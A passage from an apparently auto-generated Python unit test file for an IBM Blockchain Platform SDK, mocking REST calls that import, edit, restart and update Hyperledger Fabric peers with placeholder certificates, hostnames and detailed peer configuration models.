msp_crypto_field_tlsca_model['name'] = 'tlsca'
msp_crypto_field_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a MspCryptoFieldComponent model
msp_crypto_field_component_model = {}
msp_crypto_field_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a MspCryptoField model
msp_crypto_field_model = {}
msp_crypto_field_model['ca'] = msp_crypto_field_ca_model
msp_crypto_field_model['tlsca'] = msp_crypto_field_tlsca_model
msp_crypto_field_model['component'] = msp_crypto_field_component_model
# Set up parameter values
display_name = 'My Peer'
grpcwp_url = 'https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084'
msp = msp_crypto_field_model
msp_id = 'Org1'
id = 'component1'
api_url = 'grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051'
location = 'ibmcloud'
operations_url = 'https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443'
tags = ['fabric-ca']
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"display_name": display_name,
"grpcwp_url": grpcwp_url,
"msp": msp,
"msp_id": msp_id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.import_peer(**req_copy)
class TestEditPeer():
"""
Test Class for edit_peer
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_edit_peer_all_params(self):
"""
edit_peer()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/fabric-peer/testString')
mock_response = '{"id": "component1", "dep_component_id": "admin", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "display_name": "My Peer", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "location": "ibmcloud", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "config_override": {"anyKey": "anyValue"}, "node_ou": {"enabled": true}, "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "resources": {"peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"peer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "tags": ["fabric-ca"], "timestamp": 1537262855753, "type": "fabric-peer", "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
display_name = 'My Peer'
api_url = 'grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051'
operations_url = 'https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443'
grpcwp_url = 'https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084'
msp_id = 'Org1'
location = 'ibmcloud'
tags = ['fabric-ca']
# Invoke method
response = service.edit_peer(
id,
display_name=display_name,
api_url=api_url,
operations_url=operations_url,
grpcwp_url=grpcwp_url,
msp_id=msp_id,
location=location,
tags=tags,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['display_name'] == 'My Peer'
assert req_body['api_url'] == 'grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051'
assert req_body['operations_url'] == 'https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443'
assert req_body['grpcwp_url'] == 'https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084'
assert req_body['msp_id'] == 'Org1'
assert req_body['location'] == 'ibmcloud'
assert req_body['tags'] == ['fabric-ca']
@responses.activate
def test_edit_peer_value_error(self):
"""
test_edit_peer_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/fabric-peer/testString')
mock_response = '{"id": "component1", "dep_component_id": "admin", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "display_name": "My Peer", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "location": "ibmcloud", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "config_override": {"anyKey": "anyValue"}, "node_ou": {"enabled": true}, "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "resources": {"peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"peer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "tags": ["fabric-ca"], "timestamp": 1537262855753, "type": "fabric-peer", "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
display_name = 'My Peer'
api_url = 'grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051'
operations_url = 'https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443'
grpcwp_url = 'https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084'
msp_id = 'Org1'
location = 'ibmcloud'
tags = ['fabric-ca']
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"id": id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.edit_peer(**req_copy)
class TestPeerAction():
"""
Test Class for peer_action
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_peer_action_all_params(self):
"""
peer_action()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/fabric-peer/testString/actions')
mock_response = '{"message": "accepted", "id": "myca", "actions": ["restart"]}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=202)
# Construct a dict representation of a ActionReenroll model
action_reenroll_model = {}
action_reenroll_model['tls_cert'] = True
action_reenroll_model['ecert'] = True
# Construct a dict representation of a ActionEnroll model
action_enroll_model = {}
action_enroll_model['tls_cert'] = True
action_enroll_model['ecert'] = True
# Set up parameter values
id = 'testString'
restart = True
reenroll = action_reenroll_model
enroll = action_enroll_model
upgrade_dbs = True
# Invoke method
response = service.peer_action(
id,
restart=restart,
reenroll=reenroll,
enroll=enroll,
upgrade_dbs=upgrade_dbs,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 202
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['restart'] == True
assert req_body['reenroll'] == action_reenroll_model
assert req_body['enroll'] == action_enroll_model
assert req_body['upgrade_dbs'] == True
@responses.activate
def test_peer_action_value_error(self):
"""
test_peer_action_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/fabric-peer/testString/actions')
mock_response = '{"message": "accepted", "id": "myca", "actions": ["restart"]}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=202)
# Construct a dict representation of a ActionReenroll model
action_reenroll_model = {}
action_reenroll_model['tls_cert'] = True
action_reenroll_model['ecert'] = True
# Construct a dict representation of a ActionEnroll model
action_enroll_model = {}
action_enroll_model['tls_cert'] = True
action_enroll_model['ecert'] = True
# Set up parameter values
id = 'testString'
restart = True
reenroll = action_reenroll_model
enroll = action_enroll_model
upgrade_dbs = True
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"id": id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.peer_action(**req_copy)
class TestUpdatePeer():
"""
Test Class for update_peer
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_update_peer_all_params(self):
"""
update_peer()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/fabric-peer/testString')
mock_response = '{"id": "component1", "dep_component_id": "admin", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "display_name": "My Peer", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "location": "ibmcloud", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "config_override": {"anyKey": "anyValue"}, "node_ou": {"enabled": true}, "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "resources": {"peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"peer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "tags": ["fabric-ca"], "timestamp": 1537262855753, "type": "fabric-peer", "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a ConfigPeerKeepaliveClient model
config_peer_keepalive_client_model = {}
config_peer_keepalive_client_model['interval'] = '60s'
config_peer_keepalive_client_model['timeout'] = '20s'
# Construct a dict representation of a ConfigPeerKeepaliveDeliveryClient model
config_peer_keepalive_delivery_client_model = {}
config_peer_keepalive_delivery_client_model['interval'] = '60s'
config_peer_keepalive_delivery_client_model['timeout'] = '20s'
# Construct a dict representation of a ConfigPeerKeepalive model
config_peer_keepalive_model = {}
config_peer_keepalive_model['minInterval'] = '60s'
config_peer_keepalive_model['client'] = config_peer_keepalive_client_model
config_peer_keepalive_model['deliveryClient'] = config_peer_keepalive_delivery_client_model
# Construct a dict representation of a ConfigPeerGossipElection model
config_peer_gossip_election_model = {}
config_peer_gossip_election_model['startupGracePeriod'] = '15s'
config_peer_gossip_election_model['membershipSampleInterval'] = '1s'
config_peer_gossip_election_model['leaderAliveThreshold'] = '10s'
config_peer_gossip_election_model['leaderElectionDuration'] = '5s'
# Construct a dict representation of a ConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy model
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model = {}
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['requiredPeerCount'] = 0
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['maxPeerCount'] = 1
# Construct a dict representation of a ConfigPeerGossipPvtData model
config_peer_gossip_pvt_data_model = {}
config_peer_gossip_pvt_data_model['pullRetryThreshold'] = '60s'
config_peer_gossip_pvt_data_model['transientstoreMaxBlockRetention'] = 1000
config_peer_gossip_pvt_data_model['pushAckTimeout'] = '3s'
config_peer_gossip_pvt_data_model['btlPullMargin'] = 10
config_peer_gossip_pvt_data_model['reconcileBatchSize'] = 10
config_peer_gossip_pvt_data_model['reconcileSleepInterval'] = '1m'
config_peer_gossip_pvt_data_model['reconciliationEnabled'] = True
config_peer_gossip_pvt_data_model['skipPullingInvalidTransactionsDuringCommit'] = False
config_peer_gossip_pvt_data_model['implicitCollectionDisseminationPolicy'] = config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model
# Construct a dict representation of a ConfigPeerGossipState model
config_peer_gossip_state_model = {}
config_peer_gossip_state_model['enabled'] = True
config_peer_gossip_state_model['checkInterval'] = '10s'
config_peer_gossip_state_model['responseTimeout'] = '3s'
config_peer_gossip_state_model['batchSize'] = 10
config_peer_gossip_state_model['blockBufferSize'] = 100
config_peer_gossip_state_model['maxRetries'] = 3
# Construct a dict representation of a ConfigPeerGossip model
config_peer_gossip_model = {}
config_peer_gossip_model['useLeaderElection'] = True
config_peer_gossip_model['orgLeader'] = False
config_peer_gossip_model['membershipTrackerInterval'] = '5s'
config_peer_gossip_model['maxBlockCountToStore'] = 100
config_peer_gossip_model['maxPropagationBurstLatency'] = '10ms'
config_peer_gossip_model['maxPropagationBurstSize'] = 10
config_peer_gossip_model['propagateIterations'] = 3
config_peer_gossip_model['pullInterval'] = '4s'
config_peer_gossip_model['pullPeerNum'] = 3
config_peer_gossip_model['requestStateInfoInterval'] = '4s'
config_peer_gossip_model['publishStateInfoInterval'] = '4s'
config_peer_gossip_model['stateInfoRetentionInterval'] = '0s'
config_peer_gossip_model['publishCertPeriod'] = '10s'
config_peer_gossip_model['skipBlockVerification'] = False
config_peer_gossip_model['dialTimeout'] = '3s'
config_peer_gossip_model['connTimeout'] = '2s'
config_peer_gossip_model['recvBuffSize'] = 20
config_peer_gossip_model['sendBuffSize'] = 200
config_peer_gossip_model['digestWaitTime'] = '1s'
config_peer_gossip_model['requestWaitTime'] = '1500ms'
config_peer_gossip_model['responseWaitTime'] = '2s'
config_peer_gossip_model['aliveTimeInterval'] = '5s'
config_peer_gossip_model['aliveExpirationTimeout'] = '25s'
config_peer_gossip_model['reconnectInterval'] = '25s'
config_peer_gossip_model['election'] = config_peer_gossip_election_model
config_peer_gossip_model['pvtData'] = config_peer_gossip_pvt_data_model
config_peer_gossip_model['state'] = config_peer_gossip_state_model
# Construct a dict representation of a ConfigPeerAuthentication model
config_peer_authentication_model = {}
config_peer_authentication_model['timewindow'] = '15m'
# Construct a dict representation of a ConfigPeerClient model
config_peer_client_model = {}
config_peer_client_model['connTimeout'] = '2s'
# Construct a dict representation of a ConfigPeerDeliveryclientAddressOverridesItem model
config_peer_deliveryclient_address_overrides_item_model = {}
config_peer_deliveryclient_address_overrides_item_model['from'] = 'n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model['to'] = 'n3a3ec3-myorderer2.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model['caCertsFile'] = 'my-data/cert.pem'
# Construct a dict representation of a ConfigPeerDeliveryclient model
config_peer_deliveryclient_model = {}
config_peer_deliveryclient_model['reconnectTotalTimeThreshold'] = '60m'
config_peer_deliveryclient_model['connTimeout'] = '2s'
config_peer_deliveryclient_model['reConnectBackoffThreshold'] = '60m'
config_peer_deliveryclient_model['addressOverrides'] = [config_peer_deliveryclient_address_overrides_item_model]
# Construct a dict representation of a ConfigPeerAdminService model
config_peer_admin_service_model = {}
config_peer_admin_service_model['listenAddress'] = '0.0.0.0:7051'
# Construct a dict representation of a ConfigPeerDiscovery model
config_peer_discovery_model = {}
config_peer_discovery_model['enabled'] = True
config_peer_discovery_model['authCacheEnabled'] = True
config_peer_discovery_model['authCacheMaxSize'] = 1000
config_peer_discovery_model['authCachePurgeRetentionRatio'] = 0.75
config_peer_discovery_model['orgMembersAllowedAccess'] = False
# Construct a dict representation of a ConfigPeerLimitsConcurrency model
config_peer_limits_concurrency_model = {}
config_peer_limits_concurrency_model['endorserService'] = 2500
config_peer_limits_concurrency_model['deliverService'] = 2500
# Construct a dict representation of a ConfigPeerLimits model
config_peer_limits_model = {}
config_peer_limits_model['concurrency'] = config_peer_limits_concurrency_model
# Construct a dict representation of a ConfigPeerGateway model
config_peer_gateway_model = {}
config_peer_gateway_model['enabled'] = True
# Construct a dict representation of a ConfigPeerUpdatePeer model
config_peer_update_peer_model = {}
config_peer_update_peer_model['id'] = 'john-doe'
config_peer_update_peer_model['networkId'] = 'dev'
config_peer_update_peer_model['keepalive'] = config_peer_keepalive_model
config_peer_update_peer_model['gossip'] = config_peer_gossip_model
config_peer_update_peer_model['authentication'] = config_peer_authentication_model
config_peer_update_peer_model['client'] = config_peer_client_model
config_peer_update_peer_model['deliveryclient'] = config_peer_deliveryclient_model
config_peer_update_peer_model['adminService'] = config_peer_admin_service_model
config_peer_update_peer_model['validatorPoolSize'] = 8
config_peer_update_peer_model['discovery'] = config_peer_discovery_model
config_peer_update_peer_model['limits'] = config_peer_limits_model
config_peer_update_peer_model['gateway'] = config_peer_gateway_model
# Construct a dict representation of a ConfigPeerChaincodeGolang model
config_peer_chaincode_golang_model = {}
config_peer_chaincode_golang_model['dynamicLink'] = False
# Construct a dict representation of a ConfigPeerChaincodeExternalBuildersItem model
config_peer_chaincode_external_builders_item_model = {}
config_peer_chaincode_external_builders_item_model['path'] = '/path/to/directory'
config_peer_chaincode_external_builders_item_model['name'] = 'descriptive-build-name'
config_peer_chaincode_external_builders_item_model['environmentWhitelist'] = ['GOPROXY']
# Construct a dict representation of a ConfigPeerChaincodeSystem model
config_peer_chaincode_system_model = {}
config_peer_chaincode_system_model['cscc'] = True
config_peer_chaincode_system_model['lscc'] = True
config_peer_chaincode_system_model['escc'] = True
config_peer_chaincode_system_model['vscc'] = True
config_peer_chaincode_system_model['qscc'] = True
# Construct a dict representation of a ConfigPeerChaincodeLogging model
config_peer_chaincode_logging_model = {}
config_peer_chaincode_logging_model['level'] = 'info'
config_peer_chaincode_logging_model['shim'] = 'warning'
config_peer_chaincode_logging_model['format'] = '%{color}%{time:2006-01-02 15:04:05.000 MST} [%{module}] %{shortfunc} -> %{level:.4s} %{id:03x}%{color:reset} %{message}'
# Construct a dict representation of a ConfigPeerChaincode model
config_peer_chaincode_model = {}
config_peer_chaincode_model['golang'] = config_peer_chaincode_golang_model
config_peer_chaincode_model['externalBuilders'] = [config_peer_chaincode_external_builders_item_model]
config_peer_chaincode_model['installTimeout'] = '300s'
config_peer_chaincode_model['startuptimeout'] = '300s'
config_peer_chaincode_model['executetimeout'] = '30s'
config_peer_chaincode_model['system'] = config_peer_chaincode_system_model
config_peer_chaincode_model['logging'] = config_peer_chaincode_logging_model
# Construct a dict representation of a MetricsStatsd model
metrics_statsd_model = {}
metrics_statsd_model['network'] = 'udp'
metrics_statsd_model['address'] = '127.0.0.1:8125'
metrics_statsd_model['writeInterval'] = '10s'
metrics_statsd_model['prefix'] = 'server'
# Construct a dict representation of a Metrics model
metrics_model = {}
metrics_model['provider'] = 'prometheus'
metrics_model['statsd'] = metrics_statsd_model
# Construct a dict representation of a ConfigPeerUpdate model
config_peer_update_model = {}
config_peer_update_model['peer'] = config_peer_update_peer_model
config_peer_update_model['chaincode'] = config_peer_chaincode_model
config_peer_update_model['metrics'] = metrics_model
# Construct a dict representation of a CryptoEnrollmentComponent model
crypto_enrollment_component_model = {}
crypto_enrollment_component_model['admincerts'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a UpdateEnrollmentCryptoFieldCa model
update_enrollment_crypto_field_ca_model = {}
update_enrollment_crypto_field_ca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
update_enrollment_crypto_field_ca_model['port'] = 7054
update_enrollment_crypto_field_ca_model['name'] = 'ca'
update_enrollment_crypto_field_ca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_enrollment_crypto_field_ca_model['enroll_id'] = 'admin'
update_enrollment_crypto_field_ca_model['enroll_secret'] = 'password'
# Construct a dict representation of a UpdateEnrollmentCryptoFieldTlsca model
update_enrollment_crypto_field_tlsca_model = {}
update_enrollment_crypto_field_tlsca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
update_enrollment_crypto_field_tlsca_model['port'] = 7054
update_enrollment_crypto_field_tlsca_model['name'] = 'tlsca'
update_enrollment_crypto_field_tlsca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_enrollment_crypto_field_tlsca_model['enroll_id'] = 'admin'
update_enrollment_crypto_field_tlsca_model['enroll_secret'] = 'password'
update_enrollment_crypto_field_tlsca_model['csr_hosts'] = ['testString']
# Construct a dict representation of a UpdateEnrollmentCryptoField model
update_enrollment_crypto_field_model = {}
update_enrollment_crypto_field_model['component'] = crypto_enrollment_component_model
update_enrollment_crypto_field_model['ca'] = update_enrollment_crypto_field_ca_model
update_enrollment_crypto_field_model['tlsca'] = update_enrollment_crypto_field_tlsca_model
# Construct a dict representation of a UpdateMspCryptoFieldCa model
update_msp_crypto_field_ca_model = {}
update_msp_crypto_field_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_ca_model['ca_intermediate_certs'] = ['testString']
# Construct a dict representation of a UpdateMspCryptoFieldTlsca model
update_msp_crypto_field_tlsca_model = {}
update_msp_crypto_field_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_tlsca_model['ca_intermediate_certs'] = ['testString']
# Construct a dict representation of a ClientAuth model
client_auth_model = {}
client_auth_model['type'] = 'noclientcert'
client_auth_model['tls_certs'] = ['testString']
# Construct a dict representation of a UpdateMspCryptoFieldComponent model
update_msp_crypto_field_component_model = {}
update_msp_crypto_field_component_model['ekey'] = 'testString'
update_msp_crypto_field_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_msp_crypto_field_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_component_model['tls_key'] = 'testString'
update_msp_crypto_field_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_msp_crypto_field_component_model['client_auth'] = client_auth_model
# Construct a dict representation of a UpdateMspCryptoField model
update_msp_crypto_field_model = {}
update_msp_crypto_field_model['ca'] = update_msp_crypto_field_ca_model
update_msp_crypto_field_model['tlsca'] = update_msp_crypto_field_tlsca_model
update_msp_crypto_field_model['component'] = update_msp_crypto_field_component_model
# Construct a dict representation of a UpdatePeerBodyCrypto model
update_peer_body_crypto_model = {}
update_peer_body_crypto_model['enrollment'] = update_enrollment_crypto_field_model
update_peer_body_crypto_model['msp'] = update_msp_crypto_field_model
# Construct a dict representation of a NodeOu model
node_ou_model = {}
node_ou_model['enabled'] = True
# Construct a dict representation of a ResourceRequests model
resource_requests_model = {}
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceLimits model
resource_limits_model = {}
